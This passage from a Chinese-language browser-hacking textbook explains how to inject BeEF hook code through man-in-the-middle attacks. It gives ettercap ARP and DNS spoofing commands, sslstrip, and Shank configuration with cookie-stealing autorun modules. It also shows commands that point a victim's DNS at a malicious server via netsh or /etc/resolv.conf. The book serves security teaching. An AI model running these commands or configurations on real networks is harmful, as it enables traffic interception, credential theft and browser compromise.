最后,通过指定两个空目标,可以让ettercap对其检测到的所有流量都执行ARP欺骗,而不局限于特定的IP地址。当然,如果子网中的客户端非常之多,也要注意,因为子网中所有对外通信的主机的流量,都会一下子集中到你这里来。而这会在不经意间导致网络拒绝服务。因此,我们推荐把网关作为目标,毕竟大多数Web流量都经过网关。

sslstrip

Moxie Marlinspike的sslstrip是一个发布于2009年的工具,用于透明地劫持HTTP流量。这个工具的原理是查找HTTPS链接,重定向并修改它们,使之通过一个本地代理使用HTTP。使用这个工具可以篡改和查看想通过HTTPS传输的流量。sslstrip自身并不包含内置的ARP欺骗功能,但将其与arpspoof或ettercap一块使用也很简单。

要了解关于sslstrip的更多信息,可以参考这个链接:http://www.thoughtcrime.org/software/sslstrip/

虽然ettercap的用途很多,可以用来执行各种中间人攻击,但我们主要想使用它来向目标浏览器注入初始化指令。前面的例子演示了如何使用ettercap,不过Ryan Linn和Steve Ocepek的研究29表明,还有比这种攻击更快的方式。

29Ryan Linn and Steve Ocepek. (2012). Hookin' Ain't Easy--BeEF Injection with MITM. Retrieved February 23, 2013 from http://media.blackhat.com/bh-us-12/Briefings/Ocepek/BH_US_12_Ocepek_Linn_BeEF_MITM_WP.pdf

这个工具就是Shank,利用了BeEF及Metasploit的PacketFu库。Shank会在流量经过本地子网时,自动将BeEF的初始控制代码注入其中。

自动化的背后是Ruby脚本在执行ARP欺骗和HTTP内容注入。Shank会与BeEF通信,确定某个受害IP地址是否已经被注入了初始控制代码。如果没有,它才会注入。这样就能保证对每个浏览器只注入一次控制代码。

为了执行攻击,需要安装和运行BeEF,而且系统还要有PacketFu库。可以使用如下命令安装这个库:

gem install packetfu

通过https://github.com/SpiderLabs/beef_injection_framework下载相应脚本后,需要配置环境。首先,在shank.rb中更新@beef_ip设置:

DEBUG = true
ARP_TIMEOUT = 30
@beef_ip = '192.168.2.54'
@beef_user = 'beef'
@beef_pass = 'beef'

其次,需要更新autorun.rb文件。这个文件用于指定哪些模块在新的浏览器一连接到BeEF时就立即执行。可以在@autorun_mods数组中看到那些会自动执行的模块。

# REST API root 端点
ATTACK_DOMAIN = "127.0.0.1"
RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"
RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs"
RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"
RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"

BEEF_USER = "beef"
BEEF_PASSWD = "beef"

@autorun_mods = [
  { 'Invisible_iframe' => {'target' => 'http://192.168.50.52/' }},
  { 'Browser_fingerprinting' => {}},
  { 'Get_cookie' => {}},
  { 'Get_system_info' => {}}
]

配置这两个文件后,一切就准备就绪了。然后打开终端,在新的窗口中执行以下步骤。

(1) 启动BeEF(在相应的文件夹中):ruby beef

(2) 启动Shank:ruby shank.rb <目标网络地址>

(3) 启动自动运行脚本:ruby autorun.rb

做完这些后,应该可以在三个终端窗口中看到活动发生了。当然,你可以直接访问BeEF管理界面:http://127.0.0.1:3000/ui/panel/

CORE Security的Taylor Pennington也开发了一个工具,可以用来跟BeEF注入配合执行类似的ARP欺骗攻击。这个工具就是g0tBeEF,详情地址在这里:https://github.com/kimj-1/g0tBeEF

4. DNS下毒

ARP下毒是一种把你的计算机插到本地网络中两个节点之间的好办法,但它并非在任何情况下都有效。有时候,我们还可以采用另一种中间人攻击手段,即在DNS(Domain Name System,域名系统)记录中下毒。

ARP是把IP地址转换为MAC地址,而DNS是把域名转换为IP地址。简单地说,DNS可以把browserhacker.com转换为IP地址:213.165.242.10。

DNS的工作机制涉及多个层次。首先,本地DNS查询发生在你的计算机上,查询的是计算缓存和hosts文件。如果在这个层次上找不到结果,就会向计算机中设定的DNS服务器发送DNS请求。

这样,向DNS下毒也就有了很多可乘之机。比如,可以针对顶级DNS服务器、低级DNS服务器,甚至针对目标的本地DNS缓存。如果你可以控制这些DNS记录,就可以对目标发送自己的响应。不言而喻,你也就有机会运行自己的初始化代码了。

篡改客户端的DNS设置

在不同的操作系统中,篡改DNS设置的途径也不一样。

Windows

在现代Windows系统中,通过编辑C:\Windows\System32\drivers\etc\hosts,可以插入任意DNS条目。多数情况下,都必须拥有管理员权限才能编辑这个文件。这个文件中条目的格式为:

<ip address><dns name>

比如,要想让某个计算机访问谷歌时打开你的网站,可以在这个文件中添加以下条目:

<你的IP地址> www.google.com

除了向本地hosts文件中插入任意记录,还可以在命令行中针对特定的网络接口更新Windows DNS设置。在被侵入的计算机中,可以通过批处理文件或小型编译程序执行如下命令:

netsh interface ip set dns name="Local Area Connection"\source=static addr=<你的恶意DNS服务器的IP地址>

还可以简写为:

netsh interface ip set dns "Local Area Connection" static <IP>

Linux/Unix/OS X

Linux、Unix和OS X系统的hosts记录保存在/etc/hosts中。这个文件中条目的格式与Windows的hosts文件类似,同样也需要root权限才能修改。

这些操作系统中的DNS设置都依赖于/etc/resolv.conf文件。在权限正确的情况下,可以通过以下命令来修改这个文件:

echo "nameserver <恶意DNS服务器的IP地址>" > /etc/resolv.conf

除了修改客户端DNS设置之外,另一个可以影响DNS的地方是本地网络层。利用前面讨论的ARP下毒攻击,可以把你的计算机设置为本地网络的DNS服务器。

前面介绍的ettercap中提供一个名为DNSSpoof的模块,可以自动帮你执行此类攻击。首先,要修改etter.dns文件,添加你的恶意DNS条目。在Linux系统中,这个文件的位置一般是/usr/share/ettercap/etter.dns,而在OS X中,则通常是/opt/local/share/ettercap/etter.dns。执行攻击时,还是像以前一样运行ettercap,但同时还必须指定一个插件:

ettercap -T -Q -P dns_spoof -M arp:remote
-i <网络接口> /<要攻击的IP地址>/ //

在上述所有情况下,只要控制了目标计算机或网络的DNS,你就可以装扮成任何名字的计算机或服务器。那怎么利用这个中间人攻击技术注入初始化控制代码呢?建议你首先监控正常的Web流量,看一看是否使用了代理服务器。如果使用了,那最好装扮成这个代理服务器,因为本地浏览器无论如何都会把请求提交给它。

5. 利用缓存

Robert Hansen30发现,浏览器使用非公开可路由IP地址缓存来源存在安全问题。浏览器使用的IP地址范围是10.0.0.0/8、172.16.0.0/12和192.168.0.0/16。Hansen演示了在某些情况下,可以向某个来源注入恶意代码。

30Robert Hansen. (2009). RFC1918 Caching Security Issues. Retrieved March 6, 2013 from http://www.sectheory.com/rfc1918-security-issues.htm

如果目标使用了相同的非可路由地址连接另一个网络,就为你提供了下手的机会。这种攻击甚至可以让你绕过SOP潜入内部服务器。

举个例子,某目标可能在一家网吧上网,而你已经侵入了这家网吧。于是,你可以使用前面介绍的ARP中间人攻击技术,修改网络中的任何HTTP请求。当然,你得提前规划好,而且外网必须有一个你控制的BeEF服务器运行。

(1) 中间人攻击开始后,可以等待目标的任何HTTP请求。然后,在响应中插入多个IFrame,从你的每个目标IP加载内容。

(2) 加载的内容可以缓存到目标浏览器。每个IFrame加载的内容都可以嵌入初始化指令,并且可以回连到外网的BeEF服务器。

(3) 当目标断开对外网的连接时,或者回到办公室或家里继续上网时,浏览器还会不断与BeEF服务器保持通信。

(4) 如果后续某个阶段,目标访问了某个私有IP地址,比如他家路由器的管理页面,那你之前缓存的内容就会在该源中执行。

这些情况在特定的VPN环境下也能加以利用,前述过程也是类似的。这当然可能是由于JavaScript一旦在浏览器中执行,就有可能长期保存,比浏览器缓存,甚至比DNS缓存保存的时间还要长。

本节介绍了一些即使不利用Web应用的隐患,也能在浏览器中执行恶意代码的技术。有时候,只要拥有某个网络的访问权,就可以对目标注入初始化控制代码。

2.3 小结

本章主要关注的是利用浏览器的信任入侵时面临的第一道障碍。虽然我们想尽力全面地展示各种向浏览器注入恶意代码的方式,但没有一种方法介绍得非常详细。浏览器一直在进步,而互联网的快速发展,以及所有攻击技术都能在网上找到,只是导致这个攻击面不断变化的两个主要因素。

我们探索了不同的方法,每种方法只关注实现控制浏览器这个目标的主要手段及技术。而当你打开这扇安全门之后,会惊讶地发现原来浏览器能够提供给你那么多的信息。

当然,执行初始化指令只是你必须跨越的两个重要障碍中的一个。另一个要跨越的障碍就是想方设法保持与入侵浏览器的通信渠道畅通。攻击浏览器过程中的下一步都有哪些内容需要了解?下一章将为你揭晓。

2.4 问题

(1) 攻击者如果想在浏览器中执行自己的代码,需要采取哪些手段?

(2) 描述一下几种XSS攻击的不同之处。

(3) 描述一下可能阻止XSS执行的浏览器安全机制。

(4) 说出几个著名的XSS病毒,以及它们的传播方式。

(5) 描述一种攻击者可能采用的侵入网站并执行恶意代码的方法。

(6) 什么条件下可以使用sslstrip?

(7) 描述一下ARP欺骗。

(8) 钓鱼与垃圾邮件有什么区别?

(9) 简单概括一下社会工程攻击的几个步骤。

(10) 描述一下什么是物理“诱饵”技术。

要查看问题的答案,请访问本书网站https://browserhacker.com/answers,或者Wiley的网站http://www.wiley.com/go/browserhackershandbook

目录